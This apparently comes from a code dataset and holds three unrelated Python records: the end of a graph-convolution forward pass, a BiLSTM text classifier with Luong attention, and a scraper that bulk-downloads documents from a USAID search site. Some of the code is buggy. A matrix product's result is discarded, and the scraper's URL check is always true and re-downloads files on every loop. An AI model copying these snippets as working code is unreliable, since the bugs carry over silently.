amask.scatter_(2, t, s.fill_(1))
adj = adj*amask
edge_index, _ = dense_to_sparse(adj)
if self.temporal:
temporal_attr = self.t_attr(x)
torch.matmul(x.reshape(-1, self.conv_channels*self.num_of_vertices, self.time_step),
temporal_attr).reshape(-1, self.num_of_vertices, self.conv_channels, self.time_step)
x = x.reshape(-1, self.conv_channels*self.time_step)
x = F.relu(self.gconv1(x, edge_index))
x = F.relu(self.gconv2(x, edge_index))
return x
| python |
# https://github.com/FedML-AI/FedNLP/blob/master/model/bilstm.py
import torch
from torch import nn
class BiLSTM_TextClassification(nn.Module):
def __init__(self, input_size, hidden_size, output_size, num_layers, embedding_dropout, lstm_dropout,
attention_dropout,embedding_length, attention=False, embedding_weights=None):
super(BiLSTM_TextClassification, self).__init__()
self.input_size = input_size
self.hidden_size = hidden_size
self.output_size = output_size
self.num_layers = num_layers
self.embedding_dropout = embedding_dropout
self.lstm_dropout = lstm_dropout
self.attention_dropout = attention_dropout
self.attention = attention
self.embedding_length = embedding_length
if embedding_weights is not None:
self.word_embeddings = nn.Embedding.from_pretrained(torch.tensor(embedding_weights))
else:
self.word_embeddings = nn.Embedding(self.input_size, self.embedding_length)
self.embedding_dropout_layer = nn.Dropout(p=self.embedding_dropout)
if self.attention:
self.attention_layer = nn.Linear(self.hidden_size * 4, self.hidden_size * 2)
self.attention_dropout_layer = nn.Dropout(p=self.attention_dropout)
self.lstm_layer = nn.LSTM(self.embedding_length, self.hidden_size, self.num_layers, dropout=lstm_dropout,
bidirectional=True)
self.lstm_dropout_layer = nn.Dropout(p=self.lstm_dropout)
self.output_layer = nn.Linear(self.hidden_size * 2, self.output_size)
def attention_forward(self, lstm_output, state, seq_lens):
# We implement Luong attention here, the attention range should be less or equal than original sequence length
# lstm_output -> [batch_size, seq_len, num_directions*hidden_size]
# state -> [batch_size, num_directions*hidden_size]
hidden = state.unsqueeze(2)
attn_weights = torch.bmm(lstm_output, hidden).squeeze(2)
# attn_weights -> [batch_size, seq_len]
new_hiddens = []
for i, seq_len in enumerate(seq_lens):
soft_attn_weights = torch.softmax(attn_weights[i][:seq_len], 0)
# soft_attn_weights -> [seq_len]
new_hidden = torch.matmul(soft_attn_weights.unsqueeze(0), lstm_output[i, :seq_len, :])
# new_hidden ->[1, num_directions*hidden_size]
new_hiddens.append(new_hidden)
concat_hidden = torch.cat((torch.cat(new_hiddens, 0), state), 1)
# concat_hidden ->[batch_size, 2*num_directions*hidden_size]
output_hidden = self.attention_layer(concat_hidden)
# output_hidden ->[batch_size, num_directions*hidden_size]
output_hidden = self.attention_dropout_layer(output_hidden)
return output_hidden
def forward(self, x):
input_seq, seq_lens = x
batch_size = len(input_seq)
# input_seq -> [batch_size, seq_len]
input_seq = self.word_embeddings(input_seq)
# input -> [batch_size, seq_len, embedding_len]
input_seq = self.embedding_dropout_layer(input_seq)
h_0 = torch.zeros((self.num_layers*2, batch_size, self.hidden_size)).to(device='cuda')
c_0 = torch.zeros((self.num_layers*2, batch_size, self.hidden_size)).to(device='cuda')
input_seq = input_seq.permute(1, 0, 2)
output, (final_hidden_state, final_cell_state) = self.lstm_layer(input_seq, (h_0, c_0))
# output -> [seq_len, batch_size, num_directions*hidden_size]
output = output.permute(1, 0, 2)
# the final state is constructed based on original sequence lengths
state = torch.cat([output[i, seq_len-1, :].unsqueeze(0) for i, seq_len in enumerate(seq_lens)], dim=0)
state = self.lstm_dropout_layer(state)
if self.attention:
output = self.attention_forward(output, state, seq_lens)
else:
output = state
logits = self.output_layer(output)
return logits | python |
import bs4
from bs4 import BeautifulSoup
import requests
import urllib3
decurl = "https://decsearch.usaid.gov/search?client=dec_pdfs&site=default_collection&emdstyle=true&output=xml_no_dtd&proxystylesheet=dec_pdfs&ie=UTF-8&oe=UTF-8&getfields=*&ulang=en&filter=0&proxyreload=1&as_q=quarterly&num=100&btnG=Google+Search&as_epq=&as_oq=&as_eq=&lr=&as_ft=i&as_filetype=&as_occt=any&ip=172.16.1.4&access=p&entqr=3&entqrm=0&entsp=a__dec_results_biasing&wc=200&wc_mc=1&ud=1&sort=date%3AD%3AS%3Ad1&start="
i=100
urls=[]
while i<10001:
decurlappend=decurl+str(i)
resp = requests.get(decurlappend)
txt=resp.text
soup=BeautifulSoup(txt,"html.parser")
for h in soup.findAll('p'):
try:
urls.append(h.find('a').attrs['href'])
except:
pass
#print (urls)
for url in urls:
if url.find('href='):
fileName= url.rsplit('/', 1)[1]
r = requests.get(url)
with open(fileName, "wb") as code:
code.write(r.content)
i=i+100
| python |